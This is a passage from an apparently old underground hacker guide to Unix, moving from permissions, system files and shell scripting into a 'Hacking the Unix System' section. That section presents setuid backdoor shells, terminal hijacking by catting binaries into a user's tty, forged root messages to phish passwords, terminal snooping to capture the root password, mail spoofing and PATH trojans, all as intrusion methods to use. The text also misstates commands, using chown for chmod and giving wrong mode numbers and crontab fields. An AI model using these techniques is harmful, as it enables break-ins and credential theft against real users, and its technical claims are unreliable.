directory). The fourth field shows the username of the owner of the file. +The fifth field, which is not shown on some systems, shows the name of the +owner's group.The sixth field shows the size of the file. the seventh field +shows the time and date the file was last modified. the last field shows the +name of the file or directory. + The command used to change file/directory permissions is chmod. There +are 2 ways to change permissions: symbolically and absolutely. This will +explain both. + When you change permissions symbolically, only the permissions you +specify to be added or deleted will be changed. The other permissions will +remain as they are. The format is: +chown [u, g, or o] [+ or -] [rwx] [file/directory name] +The following abbreviations are used: +u -User (the file or directory's owner) +g -Group (members of the owner's group) +o -Others (all others) +r -Read permission +w -Write permission +x -Execute permission + +You use u, g, and o to specify which group you wish to change the privileges +for. To add a permission, type "chown [class]+[permissions] [filename]". For +instance, to add group write permissions to the file startrek, type "chown g+w +startrek". To delete permissions, use the "-". For instance, to remove the +owner's write access to the file "startrek", type "chown u-w startrek". + + When you set file permissions absolutely, any permissions that you do +not give the file or directory are automatically deleted. The format for +setting permissions absolutely is "chown [mode number] filename". You determine +the mode number by adding together the code numbers for the permissions you +wish to give the file. Here are the permissions and their numbers: + +Others execute permission 1 +Others write permission 2 +Others read permission 4 + +Group execute permission 10 +Group write permission 20 +Group read permission 40 + +User (owner) execute permission 100 +User (owner) write permission 200 +User (owner) read permission 400 + + There are also two special file modes that can be set only absolutely. +These are the UID and GID modes. The UID mode, when applied to an executable +file, means that when another user executes the file, he executes it under the +user number of the owner (in other words, he runs the program as if he were the +owner of the file). If the file has its GID mode bit set, then when someone +executes the file, his group will temporarily be changed to that of the file's +owner. The permission number for the GID mode is 2000, and the number for the +UID mode is 4000. If the uid bit is set, there will be an "S" in the place of +the x in the owner permissions section when you check a file's permissions: +-rwSr-xr-x +If the uid bit is set, and the owner of the file has execute permissions, the S +will not be capitalized: +-rwsr-xr-x +If the gid bit is set, the same applies to the x in the section on group +permissions. + A short note here is in order on how these permissions affect superuser +accounts. They don't-unless the owner of the file is root. All superuser +accounts have the same user number, which means that the system considers them +all to be the same-that is, they are considered to be the root account. Thus, +superuser accounts are only bound by the protections of files and directories +that they own, and they can easily change the permissions of any files and +directories that they do not have the access to that they wish. + +SPECIAL UNIX FILES +------------------ + This section will detail the purposes of some files that are found on +all systems. There are quite a few of these, and knowing their uses and what +format their entries are in is very useful to the hacker. + +THE FILES +--------- + +/etc/passwd -This is the password file, and is THE single most important + file on the system. This file is where information on the + system's accounts are stored. Each entry has 7 fields: + + username:password:user#:group#:description:home dir:shell + + The first field, naturally, is the account's username. The + second field is the account's password (in an encrypted form). + If this field is blank, the account doesn't have a password. + The next field is the account's user number. The fourth field + is the account's group number. The fifth field is for a + description of the account. This field is used only in the + password file, and is often just left blank, as it has no + significance. The sixth field is the pathname of the account's + home directory, and the last field is the pathname of the + account's shell program. Sometimes you may see an account with + a program besides the standard shell programs (sh, csh, etc.) + as its shell program. These are "command logins". These + accounts execute these programs when logging in. For example, + the "who" command login would have the /bin/who program as its + shell. + Here is a typical-looking entry: + + root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh + + This entry is for the root account. Notice that the encrypted + form of the password is 13 characters, yet the Unix passwords + are only 11 characters maximum. The last 2 characters are what + is called a "salt string", and are used in the encryption + process, which will be explained in more detail later. Now, + notice the user number, which is zero. Any account with a user + number of 0 has superuser capabilities. The group number is 1. + The account description is "superuser". The account's home dir- + ectory is the root directory, or "/". The account's shell is + the bourne shell (sh), which is kept in the directory /bin. + Sometimes you may see an entry in the password field like this: + :NHFfnldyNjh,21AB: + Notice the period after the 13th character, followed by 2 + digits and 2 letters. If an account has an entry like this, the + account has a fixed expiration date on its password. The first + digit, in this case 2, shows the maximum number of weeks that + the account can keep the same password. The second digit shows + how many weeks must pass before the account can change its + password. (This is to prevent users from using the same old + password constantly by changing the password when forced to and + then changing it back immediately.) The last 2 characters are + an encrypted form of when the password was last changed. + Other unusual password field entries you might encounter are: + :: + :,21: + The first entry means that the account has no password. The + second entry means that the account has no password yet, but + has a fixed expiration date that wil begin as soon as a pass- + word is given to it. + Now, for an explanation of how the Unix system encrypts + the passwords. The first thing any hacker thinks of is trying + decrypt the password file. This is as close to impossible as + anything gets in this world. I've often heard other "hackers" + brag about doing this...this is the biggest lie since Moses + said "I did it". The encryption scheme is a variation on the + DES (Data Encryption Standard). When you enter the command + passwd (to change the password), the system will form a 2 + character "salt string" based on the process number of the + password command you just issued. This 2-character string pro- + duces a slight change in the way the password is encrypted. + There are a total of 4096 different variations on the + encryption scheme caused by different salt string characters. + This is NOT the same encryption scheme used by the crypt + utility. The password is NEVER decrypted on the system. When + you log on, the password you enter at the password prompt is + encrypted (the salt string is taken from the password file) + and compared to the encrypted entry in the password file. The + system generates its own key, and as of yet, I have not + discovered any way to get the key. The login program does + not encrypt the password you enter itself, it does so, I + believe, by a system call. + +/etc/group -This is the group file. This allows the superuser to give + certain accounts group access to groups other than their own. + Entries are in the format: + + group name:password:group number:users in this group + + The first field is the name of the group. The second is the + field for the group password. In all my experience with Unix, + I have never seen the password feature used. The third is the + group's number. The fourth field is a list of the users who + group access to this group. (Note: this can include users whose + group number is different from the number of the group whose + entry you are reading in the group file.) The usernames are + separated by commas. Here's an example: + + sys::2:root,sys,adm,lp + + To change to a new group identity, type "newgrp [group]". If + the group has a password, you must enter the proper password. + You cannot change to another group if you are not listed as a + member of that group in the group file. + + +/dev/console -This is the device file for the system console, or the + system's main terminal. + +/dev/tty## -The device files for the system's terminals are usually in + the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. + Some ways to make use of the Unix system's treatment of devices + as files will be explored in the section on Hacking Unix. When + these files are not in use by a user (in other words, no one's + logged onto this terminal), the file is owned by root. While a + user is logged onto a terminal, however, ownership of its + device file is temporarily transferred to that account. + +/dev/dk## -These are the device files for the system's disks. + +login files -There are special files that are in a user's home directory + that contain commands that are executed when the user logs in. + The name of the file depends on what shell the user is using. + Here are the names of the files for the various shells: + + Shell File + ----- ---- + sh .profile + csh .cshrc + ksh .login + rsh .profile + + Some systems also use a file called ".logout" that contains + commands which are executed upon logoff. + These types of files are called shell scripts, and will + will be explained in the section on Unix Software Development's + explanation of shell programming. +/usr/adm/sulog -This is a log of all attempted uses of the su utility. It + shows when the attempt was made, what account made it, and + which account the user attempted to assume, and whether or not + the attempt was successful. +/usr/adm/loginlog + or +/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This + only includes the time and the account's username. + +mbox -These are files in the home directories of the system's users, + that contain all the mail messages that they have saved. + +/usr/mail/ -These files in the directory /usr/mail are named after + system accounts. They contain all the unread mail for + the account they are named after. +/dev/null -This is the null device file. Anything written to this file is + just lost forever. Any attempt to read this file will result in + an immediate control-D (end of file) character. +/tmp -The directory /tmp provides storage space for temporary files created + by programs and other processes. This directory will always have + rwxrwxrwx permissions. Examining these files occasionally reveals some + interesting information, and if you know what program generates them + and the format of the information in the file, you could easily change + the info in the files, thereby changing the outcome of the program. + +THE CRON UTILITIES +------------------ + An understanding of the cron utilities will be necessary to understand +certain parts of the section on Hacking Unix. This section will give a detailed +explanation of the workings of the cron utilities. + The cron utility is a utility which carries out tasks which must be +performed on a periodic basis. These tasks, and the times when they are to be +carried out, are kept in files in 2 directories: /usr/lib and +/usr/spool/cron. + The file crontab in the directory /usr/lib contains entries for system +tasks that must be performed on a periodic basis. The format for the entries in +this file is: + +minute hour dayofmonth monthofyear dayofweek commandstring + +The first field is the minutes field. This is a value from 0-59. +The second field is the hour field, a value from 0-23. +The third field is the day of the month, a value from 1-31. +The fifth field is the month of the year, a value from 1-2. +The sixth field is the day of the week, a value from 1-7, with monday being 1. +The seventh field is the pathname and any arguments of the task to be carried +out. + +An asterisk in a field means to carry out the task for every value of that +field. For instance, an asterisk in the minutes field would mean to carry out +that task every minute. Here's an example crontab entry: + +0 1 * * * /bin/sync + +This runs sync command, which is kept in the directory bin, at 1 am every day. +Commands in the file /usr/lib/crontab are performed with root privileges. + in the directory /usr/spool/crontabs, you will find files named after +system accounts. These files contain cron entries which are the same as those +in the file /usr/lib/crontab, but are carried out under the id of the user the +file is named after. The entries are in the same format. + +BEWARE! When modifying cron files- cron activity is logged! All cron activity +is logged in the file /usr/adm/cronlog. I've found, however, that on most +systems, this file is almost never checked. + +UNIX SOFTWARE DEVELOPMENT +------------------------- + The Unix operating system was initially created as an enviroment for +software development, and that remains its main use. This section will detail +some of the os's main facilities for software development, the C compiler and +shell programming, and their related utilities. A few of the other languages +will be briefly touched upon at the end of this section, also. + +SHELL PROGRAMMING +----------------- + The shell is more than a simple command interpreter. It is also a +sophisticated programming tool, with variables, control structures, and the +features of just about any other programming language. Shell programs are +called scripts. Scripts are just text files which contain the names of commands +and programs. When the script is executed, the command and programs whose names +it contains are executed as if you had typed in their names from your keyboard. +There are two ways to execute a shell script: if you have execute permission to +it, you can simply type in its name. Otherwise, (if you have read access to +it), you can type "sh [filename]". Here is a sample shell script: + +who +whoami + +As you can see, it contains the commands who and whoami. When you execute it, +you will see a list of the system's current users (the output of the who +command), and which account you are logged in under (the output of the whoami +command). + This will concentrate solely on shell programming. While shell +programming is essentially the same with all the shells, there are slight +syntax differences that make shell scripts incompatible with shells that they +were not specifically written for. + +SHELL VARIABLES +--------------- + Like any programming language, the shell can handle variables. To set +the value of a variable, type: + +[variable]=[value] + +For example: + +counter=1 + +This will assign the value "1" to the variable counter. If the variable counter +does not already exist, the shell will create it. Note, that there are no +"numeric" variables in shell programming- all the variables are strings. For +instance, we could later type: + +counter=This is a string + +And counter would now be equal to "This is a string". There is a command called +"expr", however, that will let you treat a variable as a numeric value, and +will be explained later. + When setting the value of a variable, you only use the variable name. +When you specify a variable as an argument to a command or program, however, +you must precede the variable with a dollar sign. For instance: + +user=root + +Now, we want to specify user as an argument to the command "ps -u". We would +type: + +ps -u$user + +Which would, of course, display the processes of the user "root". + +SPECIAL SHELL VARIABLES +----------------------- + There are certain vaiables which are already pre-defined by the shell, +and have special meaning to it. Here is a list of the more important ones and +their meanings to the shell: + +HOME -(Notice the caps. All pre-defined variables are in all-caps.) This + variable contains the pathname of the user's home directory. + +PATH -This is a good time to explain something which makes Unix a very + unique operating system. In Unix, there are no commands "built-in" to + the operating system. All the commands are just regular programs. The + PATH variable contains a list of the pathnames of directories. When you + type in the name of a command or program, the shell searches through + the directories listed in the PATH variable (in the order specified in + the variable) until it finds a program with the same name as the name + you just typed in. The format for the list of directories in the PATH + variable is: + + [pathname]:[pathname]:[pathname]... + + For example, the default searchpath is usually: + + /bin:/usr/bin:/usr/local + + A blank entry in the pathname, or an entry for ".", means to check the + directory the user is currently in. For instance, all these paths + contain blank or "." entries: + + .:/bin:/usr/bin [Notice . at begginning of path] + :/bin:/usr/bin [Notice that path begins with :] + /bin:/usr/bin: [Note that path ends with : ] + +PS1 -This variable contains the shell prompt string. The default is usually + "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and + wish to have the dollar sign prompt instead, just type: + + PS1=$ + +TERM -This contains the type of terminal you are using. Common terminal + types are: + + ansi vt100 vt52 vt200 ascii tv150 + + And etc... Just type "TERM=[termtype]" to set your terminal type. + +COMMAND LINE VARIABLES +---------------------- + Command line variables are variables whose values are set to arguments +entered on the command line when you execute the shell script. For instance, +here is a sample shell script called "repeat" that uses command line variables: + +echo $1 +echo $2 +echo $3 + +The echo command prints out the values following it. In this case, it will +print out the values of the variables $1, $2, and $3. These are the command +line variables. For instance, $1 contains the value of the first argument you +entered on the command line, $2 contains the second, $3 contains the third, an +so on to infinity. Now, execute the script: + +repeat apples pears peaches + +The output from the "repeat" shell script would be: + +apples +pears +peaches + +Get the idea? + +SPECIAL COMMAND LINE VARIABLES +------------------------------ + There are 2 special command line variables, $O and $#. $O contains the +name of command you typed in (in the last example, $O would be repeat). $# +contains the number of arguments in the command line. (In the last example, $# +would be 3.) + +SPECIAL COMMANDS FOR SHELL PROGRAMS +----------------------------------- + These commands were added to the Unix os especially for shell +programming. This section will list them, their syntax, and their uses. + +read -This command reads the value of a variable from the terminal. The + format is: "read [variable]". For example, "read number". The variable + is not preceded by a dollar sign when used as an argument to this com- + mand. + +echo -This command displays information on the screen. For example, + "echo hello" would display "hello" on your terminal. If you specify + a variable as an argument, it must be preceded by a dollar sign, for + example "echo $greeting". + +trap -This command traps certain events, such as the user being disconnected + or pressing the break key, and tells what commands to carry out if they + occur. The format is: trap "commands" eventcodes. the event codes are: + 2 for break key, and 1 for disconnect. You can specify multiple com- + mands with the quotation marks, separating the commands with a semi- + colon (";"). For example: + + trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 + + Would echo "Hey stupid!" and "Don't hit the break key" if the user hits + the break key while the shell script is being executed. + +exit -This command terminates the execution of a shell procedure, and ret- + urns a diagnostic value to the enviroment. The format is: + "exit [value]", where value is 0 for true and 1 for false. The meaning + of the value parameter will become clear later, in the section on + the shell's provisions for conditional execution. If the shell script + being executed is being executed by another shell script, control is + passed to the next highest shell script. + +ARITHMETIC WITH EXPR +-------------------- + The expr command allows you to perform arithmetic on the shell +variables, and sends the output to the screen. (Though the output may be +redirected.) The format is: + +expr [arg] [function] [arg] [function] [arg]... + +Where [arg] may be either a value, or a variable (preceded by a dollar sign), +and [function] is an arithmetic operation, one of the following: + ++ -Add. +- -Subtract. +\* -Multiply. +/ -Divide. +% -Remainder from a division operation. + +For example: + +$ num1=3 +$ num2=5 +$ expr num1 + num2 + 8 +$ + +TEXT MANIPULATION WITH SORT +--------------------------- + The sort command sorts text by ASCII or numeric value. The command +format is: + +sort [field][option]... file + +where file is the file you wish to sort. (The sort command's input may be +redirected, though, just as its output, which is ordinarily to the screen, can +be.) The sort command sorts by the file's fields. If you don't specify any +specific field, the first field is assumed. for example, say this file +contained names and test scores: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +the file's fields would be first name, last name, and score. So, to sort the +above file (called "students") by first name, you would issue the command: + +sort students + +And you would see: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +If you wanted to sort the file's entries by another field, say the second field +of the file "students" (last names), you would specify: + +sort +1 students + +The +1 means to skip ahead one field and then begin sorting. Now, say we wanted +to sort the file by the 3rd field (scores). We would type: + +sort +2 students + +to skip 2 fields. But the output would be: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +Notice that the shorter names came first, regardless of the numbers in the +second field. There is a reason for this- the spaces between the second and 3rd +fields are considered to be part of the 3rd field. You can tell the sort +command to ignore spaces when sorting a field, however, using the b option. The +format would be: + +sort +2b students + +but...another error! The output would be: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +Why did the value 5 come after 10 and 20? Because the sort command wasn't +really sorting by numeric value- it was sorting by the ASCII values of the +characters in the third field, and 5 comes after the digits 1 and 2. We could +specify that the field be treated by its numerical value by specifying the n +option: + +sort +2n students + +Output: + +Tom McKann 5 +Billy Bob 10 +Doobie Kairful 20 + +Notice that if we use the n option, blanks are automatically ignored. + +We can also specify that sort work in the reverse order on a field. For +example, if we wanted to sort by last names in reverse order: + +sort +1r students + +Output: + +Tom McKann 5 +Doobie Kairful 20 +Billy Bob 10 + +By using pipes, you can direct the output of one sort command to the input of +yet another sort command, thus allowing you to sort a file by more than one +field. This makes sort an excellent tool for text manipulation. It is not, +however, the only one. Remember, you can use any Unix command or program in a +shell script, and there are many different commands for text manipulation in +Unix, such as grep (described in an earlier section on basic commands). +Experiment with the different commands and ways of using them. + +LOOPING +------- + The for/do loop is a simple way to repeat a step for a certain number +of times. The format is: + +for [variable] in [values] +do [commands] +done + +You do not precede the variable with a dollar sign in this command. The for/do +loop works by assigning the variable values from the list of values given, one +at a time. For example: + +for loopvar in 1 2 3 5 6 7 +do echo $loopvar +done + +On the first pass of the loop, loopvar would be assigned the value 1, on the +second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, +and on the sixth pass 7. I skipped the number 4 to show that you do not have to +use values in numerical order. In fact, you don't have to use numerical +arguments. You could just as easily have assigned loopvar a string value: + +for loopvar in apples peaches pears +do echo "This pass's fruit is:" + echo $loopvar +done + +Note that you can also specify multiple commands to be carried out in the do +portion of the loop. + +SELECTIVE EXECUTION WITH CASE +----------------------------- + The case command allows you to execute commands based on the value of a +variable. The format is: + +case [variable] in + + [value]) commands + commands + commands;; + [value2]) commands + commands;; + [value3]) ...and so on + esac + +For example: + +case $choice in + 1) echo "You have chosen option one." + echo "This is not a good choice.";; + + 2) echo "Option 2 is a good choice.";; + + *) echo "Invalid option.";; + esac + +Now, to explain that: + If the variable choice's value is "1", the commands in the section for +the value 1 are carried out until a pair of semicolons (";;") is found. The +same if the value of choice is "2". Now, note the last entry, "*". This is a +wildcard character. This means to execute the commands in this section for any +other value of choice. Easac signals the end of the list of execution options +for case. + +DETERMINING TRUE/FALSE CONDITIONS WITH TEST +------------------------------------------- + The test command tests for various conditions of files and variables +and returns either a true value (0) or a false value (1), which is used in +conjuction with the if/then statements to determine whether or not a series of +commands are executed. There are several different formats for test, depending +on what kind of condition you are testing for. When using variables with test, +you must always precede the variable with a dollar sign. + +NUMERIC TESTS +------------- +Format: +test [arg1] option [arg2] + +the arguments can either be numbers or variables. + +OPTIONS TESTS TRUE IF +------- ------------- +-eq arg1=arg2 +-ne arg1<>arg2 +-gt arg1>arg2 +-lt arg1=arg2 +-le arg1<=arg2 + +FILETYPE TESTS +------------- +Format: +test [option] file or directory name + +OPTIONS TESTS TRUE IF +------- ------------- +-s file or directory exists and is not empty +-f the "file" is a file and not a directory +-d the "file" is really a directory +-w the user has write permission to the file/directory +-r the user has read permission to the file/directory + +CHARACTER STRING TESTS +---------------------- +Format: +test [arg1] option [arg2] +The arguments can be either strings of characters or variables with character +string values. + +OPTIONS TESTS TRUE IF +------- ------------- += arg1=arg2 +!= arg<>arg2 + +A note here about string tests. You must enclose the names of the variables in +quotation marks (like "$arg1") if you wish the test to take into consideration +spaces, otherwise space characters are ignored, and " blue" would be +considered the same as "blue". + +TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS +--------------------------------------------------- +Format: +test [option] arg +Arg is a variable. + +OPTIONS TESTS TRUE IF +------- ------------- +-z variable has a length of 0 +-n variable has a length greater than 0 + +COMBINING TESTS WITH -A AND -O +------------------------------ + These options stand for "and" (-a) and "or" (-o). They allow you to +combine tests, for example: + +test arg1 = arg2 -o arg1 = arg3 + +means that a true condition is returned if arg1=arg2 or arg1=arg3. + + +CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF +-------------------------------------------- +Format: +if [this condition is true] +then [do these commands] +fi + +Example: + +if test arg1 = arg2 +then echo "argument 1 is the same as argument 2" +fi + +This is pretty much self-explanatory. If the condition test on the if line +returns a true value, the the commands following "then" are carried out until +the fi statement is encountered. + +Format: +if [this condition is true] +then [do these commands] +else [do these commands] +fi + +Again, pretty much self explanatory. The same as the above, except that if the +condition isn't true, the commands following else are carried out, until fi is +encountered. + +Format: +if [this condition is true] +then [do these commands] +elif [this condition is true] +then [do these commands] +fi + +The elif command executes another condition test if the first condition test is +false, and if the elif's condition test returns a true value, the command for +its then statement are then carried out. Stands for "else if". + +WHILE/DO LOOPS +-------------- +Format: +while [this condition is true] +then [do these commands] +done + +Repeats the commands following "then" for as long as the condition following +"while" is true. Example: + +while test $looper != "q" +then read looper + echo $looper +done + +while will read the value of the variable looper from the keyboard and display +it on the screen, and ends if the value of looper is "q". + +SUMMARY +------- + This small tutorial by no means is a complete guide to shell +programming. Look at shell scripts on the systems you crack and follow their +examples. Remember, that you can accomplish a great deal by combining the +various control structures (such as having an if/then conditional structure +call up a while/do loop if the condition is true, etc.) and by using I/O +redirection, pipes, etc. My next Unix file will cover more advanced shell +programming, and examine shell programming on another popular shell, the +Berkely C shell. + +THE C COMPILER +-------------- + C is sort of the "official" language of Unix. Most of the Unix +operating system was written in C, and just about every system I've ever been +on had the C compiler. The command to invoke the c compiler is cc. The format +is "cc [filename]", where filename is the name of the file which contains the +source code. (The filename must end in .c) You can create the source code file +with any of the system's text editors. The include files, stdio.h and others, +are kept in a directory on the system. You do not have to have a copy of +these files in your current directory when you compile the file, the compiler +will search this directory for them. If you wish to include any files not in +the include library, they must be in your current directory. The compiled +output will be a file called "a.out" in your current directory. + +COMPILING INDIVIDUAL MODULES +---------------------------- + If you're working on a very large program, you will probably want to +break it up into small modules. You compile the individual modules with the -c +option, which only generates the object files for the module. Then, use the +link editor to combine and compile the object files. The object files will be +generated with the same name as the source files, but the file extension will +be changed from .c to .o When you have created all the object files for all +of the modules, combine them with the ld (link editor) like this: + +ld /lib/crtO.o [module] [module]... -lc + +which will give you the final, compiled program, in a file named a.out. For +example: + +ld /lib/crtO.o part1.o part2.o -lc + +You must remeber to include /lib/crtO.o and the -lc parts in the command, in +the order shown. Also, the object files must be specified in the ld command +in the order that they must be in the program (for instance, if part1 called +part2, part2 can't be BEFORE part1). + +CHECKING FOR ERRORS IN C PROGRAMS +--------------------------------- + The lint command checks for errors and incompatibility errors in C +source code. Type "lint [c source-code file]". Not all of the messages returned +by lint are errors which will prevent the program from compiling or executing +properly. As stated, it will report lines of code which may not be +transportable to other Unix systems, unused variables, etc. + +C BEAUTIFIER +------------ + The cb (C beautifier) program formats C source code in an easy to read, +"pretty" style. The format is "cb [file]". The output is to the screen, so if +you want to put the formatted source code into a file, you must redirect the +output. + +SPECIAL C COMMANDS +------------------ + The Unix C compiler has a command called system that executes Unix +commands and programs as if you had typed in the commands from the keyboard. +The format is: + +system("command line") + +Where command line is any command line you can execute from the shell, such as: + +system("cat /etc/passwd") + +Another command which performs a similar function is execvp. The format is: + +execvp("command") + +An interesting trick is to execute a shell program using execvp. This will make +the program function as a shell. + +HACKING THE UNIX SYSTEM +----------------------- + This is it, kiddies, the one you've waded through all that rodent +nonsense for! This section will describe advanced hacking techniques. Most of +these techniques are methods of defeating internal security (I.E. security once +you're actually inside the system). There is little to be said on the subject +of hacking into the system itself that hasn't already been said in the earlier +sections on logging in, Unix accounts, and Unix passwords. I will say this +much- it's easier, and faster, to password hack your way from outside the +system into a user account. Once you're actually inside the system, you will +find it, using the techniques described in this section, almost easy to gain +superuser access on most systems. (Not to mention that nothing is quite as +rewarding as spending 3 days hacking the root account on a system, only to +receive the message "not on console-disconnecting" when you finally find the +proper password.) If you do not have a good understanding of the Unix operating +system and some of its more important utilities already, you should read the +earlier parts of this file before going on to this section. + +OVERCOMING RSH RESTRICTIONS +--------------------------- + The rsh (restricted Bourne shell) shell attempts to limit the commands +available to a user by preventing him from executing commands outside of his +searchpath, and preventing him from changing directories. It also prevents you +from changing the value of shell variables directly (i.e. typing +"variable=value"). There are some easy ways to overcome these restrictions. + You can reference any file and directory in the system by simply using +its full pathname. You can't change directories like this, or execute a file +that is outside of your searchpath, but you can do such things as list out the +contents of directories, edit files in other directories, etc. (If you have +access to the necessary commands.) + The biggest flaw in rsh security is that the restrictions that are +described above ignored when the account's profile file is executed upon logon. +This means that, if you have access to the edit command, or some other means of +modifying your account's profile, you can add a line to add a directory to your +searchpath, thereby letting you execute any programs in that directory. The +restriction on changing directories is also ignored during logon execution of +the profile. So, if you absolutely, positively HAVE to go to another directory, +you can add a cd command your .profile file. + +OVERCOMING COPY AND WRITE RESTRICTIONS +-------------------------------------- + This is a simple trick. If you have read access t a file, but cannot +copy it because of directory protections, simply redirect the output of the cat +command into another file. If you have write access to a directory but not +write access to a specific file, you can create a copy of the file, modify it +(since it will be owned by your account), delete the original, and rename the +copy to the name of the original. + +DETACHED ACCOUNTS +----------------- + This is a big security hole in many Unix systems. Occasionally, if a +user is disconnected without logging off, his account may remain on-line, and +still attached to the tty he was connected to the system through. Now, if +someone calls to the system and and gets connected to that tty, he is +automatically inside the system, inside the disconnected user's account. There +are some interesting ways to take advantage of this flaw. For instance, if you +desire to gain the passwords to more account, you can set a decoy program up to +fake the login sequence, execute the program, and then disconnect from the +system. Soon, some unlucky user will call the system and be switched into the +detached account's tty. When they enter their username and password, the decoy +will store their input in a file on the system, display the message "login +incorrect", and then kill the detached account's shell process, thus placing +the user at the real login prompt. A Unix decoy written by Shooting Shark will +be given at the end of this file. + +UID SHELLS +---------- + When the uid bit is set on a shell program, executing this shell will +change your user id to the user id of the account that owns the shell file, and +you will have full use of that account, until you press control-d (ending the +second shell process) and return to your normal user id. This gives you the +power to execute any commands under that account's user id. This is better than +knowing the account's password, since as long as the file remains on the +system, you can continue to make use of that account, even if the password is +changed. When I gain control of an account, I usually make a copy of the shell +while logged in under that account in a nice, out of the way directory, and set +its uid and gid bits. That way, if I should happen to lose the account (for +instance, if the password were changed), I could log in under another account +and still make use of the lost account by executing the uid shell. + +FORCED DETACHING +---------------- + This is an easy means of gaining the use of an account on systems with +the detached account flaw. Usually, most terminal device files will have public +write permission, so that the user that logs in under it can receive messages +via write (unless he turns off messages with the mesg n command). This means +that you can cat a file into the user's terminal device file. A compiled file, +full of all kinds of strange control characters and garbage, works nicely. Say, +the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user +will see something like this on his screen: + +LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd +b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- +2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- +e8w9v6bc[6[b6r8wpcvt + +Hehehe! Now, the poor devil is confused. He tries to press break- no response, +and the garbage just keeps coming. He tries to enter various commands, to no +avail. Catting a file into his terminal device file "ties it up", so to speak, +and since this is the file through which all I/O with his terminal is done, he +finds it almost impossible to get any input through to the shell. He can't even +log off! So, in desperation, he disconnects... It is best to execute the cat +command as a background process, so that you can keep an eye on the users on +the system. Usually, the user will call the system back and, unless he gets +switched back into his old detached account (in which case he will usually hang +up again), he will kill the detached account's login process. So, if you see 2 +users on the system using the same username, you know he's logged back in +already. Anyways...after an appropriate length of time, and you feel that he's +disconnected, log off and call the system back a few times until you get +switched into the detached account. Then just create a uid shell owned by the +account and you can use it any time you please, even though you don'tknow the +password. Just remember one thing, though-when the cat command has finished +displaying the compiled file on the victim's screen, if he is still logged on +to that terminal, he will regain control. Use a long file! + +FAKING WRITE MESSAGES +--------------------- + Being able to write to other people's terminal files also makes it +possible to fake write messages from any user on the system. For example, you +wish to fake a message from root. Edit a file to contain these lines: +Message from root console ^g [note control-g (bell) character] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + [don't forget to put this--in the file.] +Now, type "who" to find bill's tty device, and type: + +cat [filename] > /dev/ttyxx + +Bill will see: + +Message from root console [beep!] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + + +WHEN FILE PERMISSIONS ARE CHECKED +--------------------------------- + Unix checks file permissions every time you issue a write or execute +command to a file. It only checks read permissions, however, when you first +issue the read command. For instance, if you issued the command to cat the +contents of a file, and someone changed the file's permissions so that you did +not have read permission while the process was still being executed, the cat +command would continue as normal. + +ONLINE TERMINAL READING +----------------------- + You can also, if you have some means of assuming an account's userid, +(such as having a uid shell for that account), you can read the contents of +someone's terminal on-line. Just execute the uid shell and type "cat +/dev/ttyxx &" (which will execute the cat command in the background, which will +still display the contents to your screen, but will also allow you to enter +commands). Once the person logs off, ownership of his terminal device file will +revert to root (terminal device files are temporarily owned by the account +logged in under them), but since you had the proper permissions when you +started the read process, you can still continue to view the contents of that +terminal file, and can watch, online, as the next use logs in. There is also +one other trick that can sometimes be used to gain the root password, but +should be exercised as a last resort, since it involved revealing your identity +as a hacker to the superuser. On many systems, the superuser also has a normal +user account that he uses for personal business, and only uses the root account +for system management purposes. (This is, actually, a rather smart security +move, as it lessens the chances of, say, things like his executing a trojan +horse program while under the root account, which, to say the least, could be +disastrous [from his point of view].) If you can obtain a uid shell for his +user account, simply execute a read process of his terminal file in the +background (while under the uid shell), and then drop back into your normal +shell. Then send him a write message like: + +I'm going to format your winchesters + +When he uses the su command to go to the superuser account to kick you off the +system, you can sit back and watch him type in the root password. (This should +only be done if you have more than one account on the system- remember, many +systems will not let you log into a superuser account remotely, and if the only +account you have is a superuser account, you are effectively locked out of the +system.) + +MAIL FRAUD +---------- + The TCP/IP protocol is a common protocol for file transfers between +Unix systems, and between Unix and other operating systems. If the Unix system +you are on features TCP/IP file transfers, it will have the telnet program on- +line, usually in the directory /bin. This can be used to fake mail from any +user on the system. Type "telnet" to execute the telnet program. You should +see: + +Telnet> + +At this prompt, type "open [name] 25", where name is the uucp network name of +the system you are on. This will connect you to the system's 25th port, used to +receive network mail. Once connected, type: + +rcpt to: [username] + +Where username is the name of the user you wish to send mail to. Next, type: + +mail from: [user] + +Where user is the name of the use you wish the mail to appear from. You can +also specify a non-existant user. You can also fake network mail from a user on +another system. For information on the format of the address, see the section +on the uucp facilities. Then type: + +data + +You will be prompted to enter the message. Enter "." on a blank line to end and +send the mail. When you'e finished sending mail, type "quit" to exit. + + Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit +of information. + +UNIX TROJAN HORSES +------------------ + This is an old, OLD subject, and there's little original material to +add about it. Trojan horses are programs that appear to execute one function, +but actually perform another. This is perhaps the most common means of hacking +Unix. + One of the easiest means of setting up a Unix trojan horse is to place +a program named after a system command, such as ls, "in the way" of someone's +search path. For instance, if a user's searchpath is ".:/usr/bin", which means +that the system searches the user's current directory for a command first, you +could place a shell script in the user's home directory called "ls" that, when +executed, created a copy of the shell, set the new shell file's uid and gid +bits, echo an error message (such as "lsa: not found", leading the user to +think he mistyped the command and the offending character was not echoed, due +to line noise or whatever), and delete itself. When the user executes the ls +command in his directory, the uid shell is created. Another good idea is to set +the name of the trojan to a command in the user's login file, have it make the +uid shell, execute the real command, and then delete itself. + Another good way to set up a trojan horse is to include a few lines in +a user's login file. Simply look at the user's password file entry to find out +which shell he logs in under, and then modify the appropriate login file (or +create one if it doesn't exist) to create a uid shell when the user logs on. + If you can modify a user's file in the directory +/usr/spool/cron/crontabs, you can add an entry to create a uid shell. 